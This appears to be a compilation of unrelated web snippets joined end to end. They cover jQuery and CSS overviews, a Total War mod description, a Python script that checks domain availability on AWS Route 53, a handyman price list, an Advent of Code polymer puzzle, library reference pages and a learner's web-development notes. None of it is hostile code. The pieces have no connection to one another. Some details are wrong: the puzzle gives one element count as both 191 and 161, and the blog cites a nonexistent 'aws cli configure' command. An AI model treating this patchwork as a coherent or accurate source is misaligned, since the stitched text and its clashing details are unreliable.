jQuery is a cross-platform JavaScript library designed to simplify the client-side scripting of HTML.[3] It is free, open-source software using the permissive MIT License.[2] Web analysis indicates that it is the most widely deployed JavaScript library by a large margin.[4][5] jQuery's syntax is designed to make it easier to navigate a document, select DOM elements, create animations, handle events, and develop Ajax applications. jQuery also provides capabilities for developers to create plug-ins on top of the JavaScript library. This enables developers to create abstractions for low-level interaction and animation, advanced effects and high-level, themeable widgets. The modular approach to the jQuery library allows the creation of powerful dynamic web pages and Web applications.
HTML5 is a markup language used for structuring and presenting content on the World Wide Web. It is the fifth and current major version of the HTML standard. It was published in October 2014 by the World Wide Web Consortium (W3C)[2][4] to improve the language with support for the latest multimedia, while keeping it both easily readable by humans and consistently understood by computers and devices such as web browsers, parsers, etc. HTML5 is intended to subsume not only HTML 4, but also XHTML 1 and DOM Level 2 HTML.[5] HTML5 includes detailed processing models to encourage more interoperable implementations; it extends, improves and rationalizes the markup available for documents, and introduces markup and application programming interfaces (APIs) for complex web applications.[6] For the same reasons, HTML5 is also a candidate for cross-platform mobile applications, because it includes features designed with low-powered devices in mind.
Cascading Style Sheets (CSS) is a style sheet language used for describing the presentation of a document written in a markup language like HTML.[1] CSS is a cornerstone technology of the World Wide Web, alongside HTML and JavaScript.[2] CSS is designed to enable the separation of presentation and content, including layout, colors, and fonts.[3] This separation can improve content accessibility, provide more flexibility and control in the specification of presentation characteristics, enable multiple web pages to share formatting by specifying the relevant CSS in a separate .css file, and reduce complexity and repetition in the structural content. Separation of formatting and content also makes it feasible to present the same markup page in different styles for different rendering methods, such as on-screen, in print, by voice (via speech-based browser or screen reader), and on Braille-based tactile devices. CSS also has rules for alternate formatting if the content is accessed on a mobile device


Europa Barbarorum II is a total conversion modification (mod). It covers roughly the same time period as the Imperial Campaign included with Rome: Total War, but made for use with Medieval 2 Total War: Kingdoms.
Contrary to what the name might imply, Europa Barbarorum is not solely focused on barbarian factions. The name was derived from the roots of the project when our desire was to portray barbarians more accurately, but Europa Barbarorum 2 goes to great lengths to portray all factions correctly, including Rome.
The Europa Barbarorum project started in January 2004 as a team with the intent of informing The Creative Assembly about the historical nature of the "barbarian" factions in Rome: Total War. Our aim was to gather as large an amount of historical information as we could and pass it on to the Creative Assembly, prior to R:TW's release, in order for their portrayal of the "barbarian" factions in the game to be more accurate.
Later, the team expanded their aim to also correcting ahistorical representations everywhere on the map. As it became clear that CA would not use this sort of information, the group decided to transform the project into a modification.
Europa Barbarorum I created for R:TW has received critical acclaim and has been downloaded well over 100,000 times for each version. Europa Barbarorum II created for Medieval 2 Total War: Kingdoms aims to surpass everything in Europa Barbarorum I.


Finding short, good domain names using AWS API ( Free of Cost )
Recently, I was on a lookout for a domain name for personal use. This domain name will probably never be seen by more than 2 eyes, so I didn’t care exactly what TLD it has, or even what it’s FQDN is.
That said, who doesn’t like a short, memorable and meaningful domain name? foo.bar is always more favourable than say, verylongname.engineering (And yes, both are valid domain names). However, trying out each possible domain by typing it into some registrars search bar was too boring and time consuming. More often than not, you would come across unavailable domains. Hence I decided to automate the process by using some API.
Introduction
The Task
The task was to go through thousands of possible domain names, and list out those which are available, so I could choose one of them. Once that is done, I would select whichever I like most.
Finding an API
There aren’t many APIs out there to find if a domain is available or not, and the one’s that are available, are way too costly for me to try out thousands of combinations. Eventually, I came across Amazon’s Route 53 Domain API. This API provides endpoints for tasks such as registering, renewing, transfering domains. One of the operations is CheckDomainAvailability. In their own words,
This operation checks the availability of one domain name.
Exactly what I wanted. As a bonus, I found out this API is free. Although the “free”dom did came at a cost, which I have mentioned below.
The Code
Amazon provides SDKs to use the API in various languages. As this project was going to be a one off script, I decided to go with Python. The boto3 package provides an easy to use abstraction for the API. It also comes with a quite good documentation.
Requirements
First, I needed to create an IAM user in AWS. For this API, we need to enable the AmazonRoute53DomainsReadOnlyAccess permission for the user.
I used AWS Command Line Interface(CLI) to easily set up the credentials for the IAM user. Boto3 uses these details when making API calls. awscli
and boto3
can be installed using pip.
pip install awscli boto3
Next task was to configure aws cli. This is pretty straight forward, simply run,
aws cli configure
and enter access key, secret key, default region name and default output format.
Script
The script is quite simple. It reads words from the dict/cracklib file that is available on most Linux distros. Then it gets only those words whose length matches the requirement(say 3), and then checks the availability for all given tld’s. If reply is “AVAILABLE”, it prints out the domain name.
import boto3
import sys
# number of characters
size = int(sys.argv[1]) + 1
# setup client
client = boto3.client('route53domains')
# open dict file
words = open("/usr/share/dict/cracklib-small", "r")
for word in words:
if len(word) == size:
for domain in [word.strip() + ".trade", word.strip() + ".loan"]:
try:
response = client.check_domain_availability(
DomainName=domain,
)
except Exception as ex:
print("error occured for: " + domain)
print(ex)
else:
status = response["Availability"]
if status == "AVAILABLE":
print(domain)
Issues
Rate Throttling
As mentioned earlier, the API is free to use. But this freedom comes at a cost. The API applies rate throttling. Frequently, I would see this error,
An error occurred (ThrottlingException) when calling the CheckDomainAvailability operation (reached max retries: 4): Rate exceeded
Initially, to speed up the script, I had created a multi threaded variant which used thread pools. However, that simply made the script hit rate throttling more often. Basically, rate throttling becomes a function of number of threads, with throttling being directly proportional to number of threads. So I decided to use the single threaded variant.
Secondly, I needed to create a way to retry the failed calls. For this, I added the exception messages as in the above script. Then I would parse the output for this errors, and pass the domains to a slightly modified version of the script( which reads domains instead of words, from a given file).
The commands for retrying are as such
python dna.py 4 | tee 4-letter-dn # get list
cat 4-letter-dn | egrep "^[a-z]{4}.(loan|trade)$" >> available # gets available
cat 4-letter-dn | grep "error occured"|sed "s/error occured for: //g" |LC_COLLATE=C egrep "[a-z]{4}.(loan|trade)" > retry-these # gets errored
python dna-retry.py retry-these | tee 4-letter-dn # retry errored
Lack of Support for TLDs
This API doesn’t support many TLDs, some of which are quite nice, like .site
or .space
. Well, one can’t complain too much about free stuff.
Conclusion
Using this script, I found some 3 letter and hundreds of 4 letter domains for .loan
and .trade
TLDs. Manually, this could have taken me longer than it would take Voyager 1 to reach interstellar space.


Bringing
data stories
to
life
with Power BI
See the stories
Data Stories
The Progress of Artificial Intelligence
Ride-sharing and self-driving relationships
Water Quality Report
Fatal workplace accidents
Mastering your productivity
European Girls in STEM
IDG Cloud Intelligence Survey
Virginia Gubernatorial Primaries
France TV & Microsoft join forces to analyze live election results
United States of Amazon: Where the tech giant is growing now
Interstate population migration
Seattle Traffic Boom
African American Homeownership
U.S. Open Golf Story
KING 5 Primary Night Coverage powered by Microsoft Power BI
Where the software industry is growing outside Silicon Valley
Junk news and Russian misinformation flooded Twitter during the 2016 election
Here are all of Amazon's acquisitions before Whole Foods
Case studies
How KING 5 News created an Interactive Data Story
View case study
The AP enhances Virginia elections coverage with Power BI
View case study
The AP takes its data storytelling to the next level with Power BI
View announcement


Open each of these pages. You'll notice that they're initially very slow. That's because they're expensive view functions. After loading them a second time (within 10 seconds) you'll notice that they're incredibly fast.
This is just for the uber-curious about what's going on. These are the current remembered URLs:
{% for url, key, stats in remembered_urls %} {% if forloop.first %}| URL | Cache key | Hits | Misses | ||
| {{ url }} | {{ key }} |
{% if stats %}
{{ stats.hits }} | {{ stats.misses }} | {% else %}n/a {% endif %} |


ImageFeature3D keeps information about single 3D image,
it can include various status of an image,
e.g.
ImageFeature3D keeps information about single 3D image,
it can include various status of an image,
e.g. multi-dimension array of float, image label, meta data and so on.
it uses HashMap to store all these data,
the key is string that identify the corresponding value
ImageFeature3D keeps information about single 3D image, it can include various status of an image, e.g. multi-dimension array of float, image label, meta data and so on. it uses HashMap to store all these data, the key is string that identify the corresponding value


A Creative Commons (CC) license is one of several public copyright licenses that enable the free distribution of an otherwise copyrighted work. A CC license is used when an author wants to give people the right to share, use, and build upon a work that he/she has created. CC provides an author flexibility (for example, he/she might choose to allow only non-commercial uses of his/her own work) and protects the people who use or redistribute an author's work from concerns of copyright infringement as long as they abide by the conditions that are specified in the license by which the author distributes the work.
There are several types of CC licenses. The licenses differ by several combinations that condition the terms of distribution. They were initially released on December 16, 2002 by Creative Commons, a U.S. non-profit corporation founded in 2001. There have also been five versions of the suite of licenses, numbered 1.0 through 4.0. As of 2016, the 4.0 license suite is the most current.
A short and simple permissive license with conditions only requiring preservation of copyright and license notices. Licensed works, modifications, and larger works may be distributed under different terms and without source code.
Go to MIT License | Choose a License page. Follow instructions as mentioned below.
Create a text file (typically named LICENSE or LICENSE.txt) in the root of your source code and copy the text of the license into the file. Replace [year] with the current year and [fullname] with the name (or names) of the copyright holders.
(Following license has been loaded from LICENSE.txt)


|
mlpack
1.0.12
|
Public Member Functions | |
| SVDIncompleteIncrementalLearning (double u=0.001, double kw=0, double kh=0) | |
| template<typename MatType > | |
| void | HUpdate (const MatType &V, const arma::mat &W, arma::mat &H) |
| The update rule for the encoding matrix H. More... | |
| template<typename MatType > | |
| void | Initialize (const MatType &dataset, const size_t rank) |
| template<typename MatType > | |
| void | WUpdate (const MatType &V, arma::mat &W, const arma::mat &H) |
| The update rule for the basis matrix W. More... | |
Private Attributes | |
| size_t | currentUserIndex |
| double | kh |
| double | kw |
| size_t | m |
| size_t | n |
| double | u |
Definition at line 8 of file svd_incomplete_incremental_learning.hpp.
|
inline |
Definition at line 11 of file svd_incomplete_incremental_learning.hpp.
|
inline |
The update rule for the encoding matrix H.
The function takes in all the matrices and only changes the value of the H matrix.
| V | Input matrix to be factorized. |
| W | Basis matrix. |
| H | Encoding matrix to be updated. |
Definition at line 73 of file svd_incomplete_incremental_learning.hpp.
References currentUserIndex, kh, m, n, and u.
|
inline |
Definition at line 18 of file svd_incomplete_incremental_learning.hpp.
References currentUserIndex, m, and n.
|
inline |
The update rule for the basis matrix W.
The function takes in all the matrices and only changes the value of the W matrix.
| V | Input matrix to be factorized. |
| W | Basis matrix to be updated. |
| H | Encoding matrix. |
This file is part of mlpack 1.0.12.
mlpack is free software; you may redstribute it and/or modify it under the terms of the 3-clause BSD license. You should have received a copy of the 3-clause BSD license along with mlpack. If not, see http://www.opensource.org/licenses/BSD-3-Clause for more information.
Definition at line 45 of file svd_incomplete_incremental_learning.hpp.
References currentUserIndex, kw, n, and u.
|
private |
Definition at line 101 of file svd_incomplete_incremental_learning.hpp.
Referenced by HUpdate(), Initialize(), and WUpdate().
|
private |
Definition at line 96 of file svd_incomplete_incremental_learning.hpp.
Referenced by HUpdate().
|
private |
Definition at line 95 of file svd_incomplete_incremental_learning.hpp.
Referenced by WUpdate().
|
private |
Definition at line 99 of file svd_incomplete_incremental_learning.hpp.
Referenced by HUpdate(), and Initialize().
|
private |
Definition at line 98 of file svd_incomplete_incremental_learning.hpp.
Referenced by HUpdate(), Initialize(), and WUpdate().
|
private |
Definition at line 94 of file svd_incomplete_incremental_learning.hpp.


The Voder
The Voder was an early attempt at speech synthesis developed by Bell Telephone Laboratory for the 1939-40 New York World's Fair. Controlled by hand, the operator manually forms each syllable using complex button sequences and it would take about a year of practice to able to produce fluid speech.
Helen Harper was one of the first people to figure out how to operate the Voder effectively, and was the live demonstrator at the World's Fair. She later went on to form a year-long course instructing women to use the Voder. Of 100 applied students, only 20 were able to graduate and match Harper's skills.
This application puts you in the shoes of one of Helen's students, learning how to operate the Voder which was seen as a potential replacement for telephone operators.
Try create vowel formants pressing the button combinations below on your keyboard, or if you are using a mobile device scroll down and tap console display:
- D + V + J: [ɑ] as in "father"
- A + K: [ē] as in "heed"
- A + D: [ōō] as in "pool"
- Space: unvoiced noise
Replicating the sequence "She saw me" like in the video above requires the following inputs with exact timing; experiment until it sounds right to you. The results will not sound exactly like the video because of subtle articulations the operator is performing for inflection and dynamics.
- “She (shē)
-
- Space: [sh]
- A + K: [ē]
- saw (sô)
-
- Space: [s]
- D + V + J: [ô]
- me.” (mē)
-
- A: [m]
- A + K: [ē]
After you get the hang of the former example, try saying "She seesaws" by resequencing some of the formants.


| Weekdays | 1st 30 minutes (in the St Austell area only) | £15 |
|---|---|---|
| Per hour | £23 (1st hour) and £20 (2nd hour etc.) | |
| Per half day | £70 | |
| Per day | £120 | |
| Saturdays | Per hour | £25 |
| Out of hours | Per hour | £30 |
For all handyman jobs carried out in private dwellings for the householder during normal working hours (9am-6:30pm, Mondays to Fridays), the first 30 minutes costs £15 or the first hour costs £23. After that, we charge decreasing rates per hour as shown below: a whole day works out at £15/hour. These terms are for cash/cheque payment on completion; if you wish to be invoiced, you will be charged at the commercial rate of £25/hour. All materials and fixings supplied are charged at cost.
| Hourly rates (per person attending) | |
|---|---|
| Hours | Cost |
| ½ hour in St Austell | £15 |
| 1 | £23 |
| 2 | £43 |
| 3 | £62 |
| 4 | £70 |
| 5 | £83 |
| 6 | £99 |
| 7 | £114 |
| 8 | £120 |
| Saturday | £25 per hour |
| Evenings | £30 per hour |
| Commercial | from £25 per hour |
We reserve the right to specify a minimum 1 hour appointment for visits outside the St Austell area, unless these can be combined with another job in the same area.
We realise that not everyone can manage to take time off work for appointments. So, we offer Saturday daytime appointments, with a minimum charge of £25, and a cost of £12.50 per 30 minutes thereafter.
If you need something done outside normal hours (bank holidays, Sundays and evenings), we'll do our best to help, but all calls are subject to a minimum charge of £30 for up to an hour, then £15 per 30 minutes thereafter.
Please cancel an unwanted appointment as soon as you know you will not be able to keep it, and make sure you are in when we arrive for a booked appointment. Otherwise, we waste time and money travelling to your home or property, and let other people down unnecessarily.


1 write to _xr
Microsoft.PowerShell.Commands.Utility (1)
commands\utility\XmlCommands.cs (1)
696
_xr
= CreateXmlReader(_fs);
1 reference to _xr
Microsoft.PowerShell.Commands.Utility (1)
commands\utility\XmlCommands.cs (1)
738
_deserializer = new Deserializer(
_xr
);


Home
Home
Hello Books
book one
view
book two
view
book three
view
book four
view
book five
view
book six
view
book seven
view
book eight
view
book nine
view


Finally got wallets in state for all related complaints.
ZEX and KMD would force a full rescan every time they are loaded regardless if I changed anything or not as all z-tx would return false and trigger a full rescan.
This commit fully isolates the staking chains fix from any other possible error. All other errors will force a full rescan, ZEX and KMD will ignore ac_public error for ztx to stop full rescan for no reason.


--- Day 14: Extended Polymerization ---
The incredible pressures at this depth are starting to put a strain on your submarine. The submarine has polymerization equipment that would produce suitable materials to reinforce the submarine, and the nearby volcanically-active caves should even have the necessary input elements in sufficient quantities.
The submarine manual contains instructions for finding the optimal polymer formula; specifically, it offers a polymer template and a list of pair insertion rules (your puzzle input). You just need to work out what polymer would result after repeating the pair insertion process a few times.
For example:
NNCB
CH -> B
HH -> N
CB -> H
NH -> C
HB -> C
HC -> B
HN -> C
NN -> C
BH -> H
NC -> B
NB -> B
BN -> B
BB -> N
BC -> B
CC -> N
CN -> C
The first line is the polymer template - this is the starting point of the process.
The following section defines the pair insertion rules. A rule like AB -> C
means that when elements A
and B
are immediately adjacent, element C
should be inserted between them. These insertions all happen simultaneously.
So, starting with the polymer template NNCB
, the first step simultaneously considers all three pairs:
- The first pair (
NN
) matches the ruleNN -> C
, so elementC
is inserted between the firstN
and the secondN
. - The second pair (
NC
) matches the ruleNC -> B
, so elementB
is inserted between theN
and theC
. - The third pair (
CB
) matches the ruleCB -> H
, so elementH
is inserted between theC
and theB
.
Note that these pairs overlap: the second element of one pair is the first element of the next pair. Also, because all pairs are considered simultaneously, inserted elements are not considered to be part of a pair until the next step.
After the first step of this process, the polymer becomes NCNBCHB
.
Here are the results of a few steps using the above rules:
Template: NNCB
After step 1: NCNBCHB
After step 2: NBCCNBBBCBHCB
After step 3: NBBBCNCCNBBNBNBBCHBHHBCHB
After step 4: NBBNBNBBCCNBCNCCNBBNBBNBBBNBBNBBCBHCBHHNHCBBCBHCB
This polymer grows quickly. After step 5, it has length 97; After step 10, it has length 3073. After step 10, B
occurs 1749 times, C
occurs 298 times, H
occurs 191 times, and N
occurs 865 times; taking the quantity of the most common element (B
, 1749) and subtracting the quantity of the least common element (H
, 161) produces 1749 - 161 = 1588
.
Apply 10 steps of pair insertion to the polymer template and find the most and least common elements in the result. What do you get if you take the quantity of the most common element and subtract the quantity of the least common element?


is an information system of interlinked hypertext documents that are accessed via the Internet and built on top of the Domain Name System.[1] It has also commonly become known simply as the Web. Individual document pages on the World Wide Web are called web pages and are accessed with a software application running on the user's computer, commonly called a web browser. Web pages may contain text, images, videos, and other multimedia components, as well as web navigation features consisting of hyperlinks.
is the standard markup language used to create web pages. It is written in the form of HTML elements consisting of tags enclosed in angle brackets (like html). HTML tags most commonly come in pairs like and, although some represent empty elements and so are unpaired, for example img. The first tag in such a pair is the start tag, and the second is the end tag (they are also called opening tags and closing tags).
Web browsers can read HTML files and render them into visible or audible web pages. Browsers do not display the HTML tags and scripts, but use them to interpret the content of the page. HTML describes the structure of a website semantically along with cues for presentation, making it a markup language, rather than a programming language.
are the hidden keywords within a web page that define how the browser must format and display the content. Most tags must have two parts, an opening and a closing part. You can determine the closing tag because it has a slash.
 This makes them very unforgiving since a small mistake by a programmer can cause huge problems in a program.
allow web developers to test and debug their code. They are different from website builders and IDEs in that they do not assist in the direct creation of a webpage, rather they are tools used for testing the user facing interface of a website or web application. Web development tools come as browser add-ons or built in features in web browsers. The most popular web browsers today like, Google Chrome, Firefox, Opera, Internet Explorer, and Safari have built in tools to help web developers, and many additional add-ons can be found in their respective plugin download centers. Web development tools allow developers to work with a variety of web technologies, including HTML, CSS, the DOM, JavaScript, and other components that are handled by the web browser. Due to the increasing demand from web browsers to do more popular web browsers have included more features geared for developers.
The "tree-like structure" comes from the fact that HTML elements can have other elements inside of them. You can draw this relationship like a family tree. My mother had multiple children. So did her mother, and so on... In a browser, this structure shows up as a series of nested boxes. There are boxes inside of boxes inside of boxes, and so on...
When you read an HTML document as text, you see a wave of changing indentations going up and down the left side of the document. The more indented an element is, the more deeply nested it's corresponding "box" is.
A text editor is a type of program used for editing plain text files. Text editors are often provided with operating systems and software development packages, and can be used to change configuration files, documentation files and programming language source code.
is a style sheet language used for describing the look and formatting of a document written in a markup language. While most often used to change the style of web pages and user interfaces written in HTML and XHTML, the language can be applied to any kind of XML document, including plain XML, SVG and XUL. Along with HTML and JavaScript, CSS is a cornerstone technology used by most websites to create visually engaging webpages, user interfaces for web applications, and user interfaces for many mobile applications.
Using CSS styles to format a page separates content from presentation. The content of your page—the HTML code—resides in the HTML file, and the CSS rules defining the presentation of the code reside in another file an external style sheet or in another part of the HTML document usually the head section. Separating content from presentation makes it much easier to maintain the appearance of your site from a central location because you don't need to update every property on every page whenever you want to make a change. Separating content from presentation also results in simpler and cleaner HTML code, which provides shorter browser loading times, and simplifies navigation for people with accessibility issues for example, those using screen readers. CSS gives you great flexibility and control over the exact appearance of your page. With CSS you can control many text properties including specific fonts and font sizes; bold, italics, underlining, and text shadows; text color and background color; link color and link underlining; and much more. By using CSS to control your fonts, you can also ensure a more consistent treatment of your page layout and appearance in multiple browsers.
WWW - it is an information system on the Internet that allows documents to be connected to other documents by hypertext links, enabling the user to search for information by moving from one document to another.
HTML - a standardized system for tagging text files to achieve font, color, graphic, and hyperlink effects on World Wide Web pages.
Developer Tools(browser) - HTML elements are either inline or block. Block elements form an "invisible box" around the content inside of them.
CSS - is a style sheet language used for describing the look and formatting of a document written in a markup language.
It took me 4 days before I finished Lesson 3(Adding CSS and HTML Structure) but I am so glad that i understand everything in the lesson now. I feel so comfortable when I finished a lesson and I know how things works. Few weeks ago, I don't even know how the tags works, now I can't believe that I'm at CSS now. Udacity teaches clearly and has more information than universities. I am so glad that I am studying here at Udacity. I already learned so many in Programming. Thank you!


Offline Payments
Provide customers with instructions to pay outside of your online store. Choose from cash on delivery (COD), money order, bank deposit, or create a custom solution.
Bank deposit payment
If you enable more than one payment provider then your customers will need to choose which payment method they want to use. The text in this box will be used to describe this payment method on your site.
Which countries do you want to offer Bank Deposit to? If the customers billing country matches any of the selected countries then they will have the option to pay by Bank Deposit.
If a customer chooses to pay via bank deposit then he will be shown the text you type into this box once he completes his order.
You should include your bank details and other information here so the customer can pay for his order by bank deposit. The amount of the order will automatically be displayed.
Type in %%OrderID%% to insert the current Order ID
Cash on delivery payment
If you enable more than one payment provider then your customers will need to choose which payment method they want to use. The text in this box will be used to describe this payment method on your site.
Which countries do you want to offer Cash on delivery to? If the customers billing country matches any of the selected countries then they will have the option to pay by Cash on delivery.
If a customer chooses to pay via cash on delivery then he will be shown the text you type into this box once he completes his order.
You should include your bank details and other information here so the customer can pay for his order by cash on delivery. The amount of the order will automatically be displayed.
Type in %%OrderID%% to insert the current Order ID
Pay by check payment
If you enable more than one payment provider then your customers will need to choose which payment method they want to use. The text in this box will be used to describe this payment method on your site.
Which countries do you want to offer pay by check to? If the customers billing country matches any of the selected countries then they will have the option to pay by pay by check.
If a customer chooses to pay via pay by check then he will be shown the text you type into this box once he completes his order.
You should include your bank details and other information here so the customer can pay for his order by pay by check. The amount of the order will automatically be displayed.
Type in %%OrderID%% to insert the current Order ID
Pay by money order payment
If you enable more than one payment provider then your customers will need to choose which payment method they want to use. The text in this box will be used to describe this payment method on your site.
Which countries do you want to offer pay by money order to? If the customers billing country matches any of the selected countries then they will have the option to pay by pay by money order.
If a customer chooses to pay via pay by money order then he will be shown the text you type into this box once he completes his order.
You should include your bank details and other information here so the customer can pay for his order by pay by money order. The amount of the order will automatically be displayed.
Type in %%OrderID%% to insert the current Order ID
Pay in store mode
If you enable more than one payment provider then your customers will need to choose which payment method they want to use. The text in this box will be used to describe this payment method on your site.
Which countries do you want to offer pay by store to? If the customers billing country matches any of the selected countries then they will have the option to pay by pay by store.
If a customer chooses to pay via pay by store then he will be shown the text you type into this box once he completes his order.
You should include your bank details and other information here so the customer can pay for his order by pay by store. The amount of the order will automatically be displayed.
Type in %%OrderID%% to insert the current Order ID


Grounding in Logic Tensor Networks
To make learning possible, LTN uses a differentiable first-order logic language, called Real Logic, which enables the incorporation of data and logic.
Real Logic defines the concept of grounding (different from the grounding of logic), which is a mapping from the logical domain (i.e., constants, variables, and logical symbols) to tensors in the Real field or operations based on tensors. These operations could be, for instance, mathematical functions or learnable neural networks. In other words, a grounding, denoted as \(\mathcal{G}\), is a function which maps a logical symbol into a real tensor or an operation on tensors.
In particular, the grounding is defined as follows. Let us assume that \(c\) is a constant, \(x\) is a logical variable, \(P\) is a predicate, and \(f\) is a logical function:
\(\mathcal{G}(c) = \mathbb{R}^{d_1 \times \dots \times d_n}\): a logical constant is grounded as a tensor (individual) of any order (e.g., \(\mathbb{R}^4$ or $\mathbb{R}^{5 \times 4 \times 4}\));
\(\mathcal{G}(x) = \mathbb{R}^{m \times d}\): a logical variable is grounded as a sequence of \(m\) tensors (individuals) of the same shape \(d\);
\(\mathcal{G}(f \mid \theta) = x \mapsto MLP_{\theta}(x)\): a logical function is grounded as a (learnable) mathematical function which takes as input some tensors (individuals) and returns a tensor. In this definition, \(\theta\) are the learnable parameters of the function, while \(MLP_{\theta}\) is the neural network representing the function, parametrized by \(\theta\). Note that the given definition has one input \(x\), however, an LTN function can take multiple inputs;
\(\mathcal{G}(P \mid \theta) = x \mapsto \sigma (MLP_{\theta}(x))\): a logical formula (atomic or not) is grounded as a mathematical function which takes as input some tensors (individuals) and returns a value in [0., 1.]. In this case, the logistic function \(\sigma\) assures the output to be in the range [0., 1.], resulting in a value which can be interpreted as a fuzzy truth value. Note that the given definition has one input \(x\), however, an LTN predicate (or formula) can take multiple inputs.
The grounding defines also how the logical connectives (\(\land, \lor, \lnot, \implies, \leftrightarrow\)) and quantifiers (\(\forall, \exists\)) are mapped in the Real domain. In particular, logical connectives are grounded using fuzzy logic semantics, while quantifiers are grounded using fuzzy aggregators. Please, carefully read the paper if you have some doubts on these notions.
Examples of possible groundings are showed in the figure below. In particular, \(friend(Mary, John)\) is an atomic formula (predicate), while \(\forall x (friend(John, x) \implies friend(Mary, x))\) is a closed formula (all the variables are quantified). The letter \(\mathcal{G}\), again, is the grounding, the function which maps the logical domain into the Real domain.


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# File lib/upload_progress_helper.rb, line 253 def finish_upload_status(options = {}) # Always trigger the stop/finish callback js = "parent.#{upload_update_object}.stop(#{options[:client_js_argument]});\n" # Redirect if redirect_to was called in controller js << "parent.location.replace('#{escape_javascript options[:redirect_to]}');\n" unless options[:redirect_to].blank? # Guard against multiple triggers/redirects on back js = "if (parent.#{upload_update_object}) { #{js} }\n" content_tag("html", content_tag("head", content_tag("script", "function finish() { #{js} }", {:type => "text/javascript", :language => "javascript"})) + content_tag("body", '', :onload => 'finish()')) end


For Developers
Getting started with our UI Framework
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Getting started with design guidelines and best practices
For Writers
On presenting content for digital services


Please be advised that upon adding/removing criteria, or changing criteria customization settings, your Best Candidates will change. Watson will build a new customized map based on your newly defined criteria.


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IFXVectorHasher Class ReferenceHash table for IFXVector3 objects.
More...
List of all members.
Detailed Description
Hash table for IFXVector3 objects.
Constructor & Destructor Documentation
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Member Function Documentation
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meshIndex, |
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Add vector to hash table.
Will return IFX_E_OUT_OF_MEMORY if a memory alloc fails.
Note: Stores pointer to given vector. Do not free the vector until this class's destructor is called.
- Parameters:
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| pVector | A pointer to the added 3D point. |
| meshIndex | Mesh index. |
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Initialize an iterator for accessing the bins.
Each bin contains a set of nodes. Use the node iterator to access the individual nodes. Returns FALSE if no bin nodes.
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Allocate hash table based on the number of vectors and the bounding box of the vectors.
Will return IFX_E_OUT_OF_MEMORY if a memory alloc fails.
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| pMin | A pointer to the input value that is a min diagonal pointer. |
| pMax | A pointer to the input value that is a max diagonal pointer. |
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Member Data Documentation
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dimension N of N x N x N cube
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used by hash key algorithm
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pointer to 3D array of bins
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© 1999 - 2006 Intel Corporation. All rights reserved.
* Other names and brands may be claimed as the property of others.
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pymonad package¶
Subpackages¶
Submodules¶
pymonad.either module¶
Implements the Either monad and related functions.
The Either type represents values that can either type A or type B - for any types A and B - but not both at the same time. As a function input type, Either values can be used to define functions which can sensibly deal with multiple types of input; of course in python we don’t need a special way to deal with multiple input types.
Perhaps more usefully, as an output type, Either values can be used to signal that a function may cause an error: Either we get back a useful result or we get back an error message.
When creating Either values directly use the ‘Right’ or ‘Left’ functions:
- Example:
>>> x = Right(19) # Represents a result value >>> y = Left('Something went wrong.') # Represents an error value
The ‘insert’ class method is a wrapper around the ‘Right’ function.
- Example:
>>> x = Either.insert(9) # Same as Right(9)
-
class
pymonad.either.
Either
(value, monoid)[source]¶ Bases:
pymonad.monad.Monad
The Either monad class.
-
amap
(monad_value: pymonad.either.Either[M, S]) → pymonad.either.Either[M, T][source]¶ Applies the function stored in the functor to the value inside ‘functor_value’ returning a new functor value.
-
bind
(kleisli_function: Callable[S, Either[M, T]]) → pymonad.either.Either[M, T][source]¶ See Monad.bind
-
is_left
() → bool[source]¶ Returns True if this Either instance was created with the ‘Left’ function.
-
-
pymonad.either.
Error
(value: M) → pymonad.either._Error[M, Any][source]¶ Creates an error value as the result of a calculation.
-
pymonad.either.
Left
(value: M) → pymonad.either.Either[M, Any][source]¶ Creates a value of the first possible type in the Either monad.
pymonad.list module¶
Implements the List monad.
The List monad is frequently used to represent calculations with non-deterministic results, that is: functions which return more than one (possible) result. For example, calculating how chess pieces might move.
- Example:
>>> def knight_move(position): >>> # calculates a list of every possible square a knight could move >>> # to from it's current position >>> return ListMonad(position_1, position_2, ..., position_N)
>>> # A list containing every square a knight could reach after 3 moves. >>> three_moves = ( >>> List >>> .insert(initial_position) # However positions are defined. >>> .then(knight_move) >>> .then(knight_move) >>> .then(knight_move) >>> )
pymonad.maybe module¶
Implements the Maybe monad and related functions.
The Maybe monad is used to represent calculations that may or may not return a value. Alternately, if used as function inputs, Maybe values can be used to indicate ‘optional’ inputs, explicitly passing ‘Nothing’ when no input is required.
When creating Maybe values directly use the ‘Just’ function or ‘Nothing’:
- Example:
>>> x = Just(19) >>> y = Just('A string') >>> z = Nothing
The ‘insert’ class method is a wrapper around the ‘Just’ function.
- Example:
>>> x = Maybe.insert(9) # Same as Just(9)
-
pymonad.maybe.
Just
(value: T) → pymonad.maybe.Maybe[T][source]¶ A Maybe object representing the presence of an optional value.
-
class
pymonad.maybe.
Maybe
(value, monoid)[source]¶ Bases:
pymonad.monad.Monad
The Maybe monad class.
-
class
pymonad.maybe.
Option
(value, monoid)[source]¶ Bases:
pymonad.monad.MonadAlias
,pymonad.maybe.Maybe
An alias for the Maybe monad class.
pymonad.monad module¶
Implements the Monad base class.
The Monad base class is an abstract class which defines the operations available on all monad instances. To create a new Monad instance, users should create a class which inherits from Monad and provides implementations for the methods map, amap, bind, and class method insert. See the documentation for those methods for more information on how to implement them properly.
-
class
pymonad.monad.
Monad
(value, monoid)[source]¶ Bases:
typing.Generic
Represents a “context” in which calculations can be executed.
You won’t create ‘Monad’ instances directly. Instead, sub-classes implement specific contexts. Monads allow you to bind together a series of calculations while maintaining the context of that specific monad.
-
amap
(monad_value: pymonad.monad.Monad[S]) → pymonad.monad.Monad[T][source]¶ Applies the function stored in the functor to the value inside ‘functor_value’ returning a new functor value.
-
classmethod
apply
(function)[source]¶ Supplies a cleaner interface for applicative functor/amap usage.
- Args:
- function: A regular function which returns non-monadic values.
- Returns:
- A monad object based on the input class with the wrapped function and a new method, ‘to_arguments’ which will apply the function.
- Example:
>>> @curry(2) >>> def add(a, b): return a + b >>> >>> x = Just(1) >>> y = Just(2) >>> >>> Maybe.apply(add).to_arguments(x, y) # results in Just(3)
-
bind
(kleisli_function: Callable[S, Monad[T]]) → pymonad.monad.Monad[T][source]¶ Applies ‘function’ to the result of a previous monadic calculation.
-
classmethod
insert
(value: T) → pymonad.monad.Monad[T][source]¶ Returns an instance of the Functor with ‘value’ in a minimum context.
-
map
(function: Callable[S, T]) → pymonad.monad.Monad[T][source]¶ Applies ‘function’ to the contents of the functor and returns a new functor value.
-
then
(function: Union[Callable[S, T], Callable[S, Monad[T]]]) → pymonad.monad.Monad[T][source]¶ Combines the functionality of bind and fmap.
Instead of worrying about whether to use bind or fmap, users can just use the then method to chain function calls together. The then method uses attempts to use bind first and if that doesn’t work, uses fmap instead.
- Args:
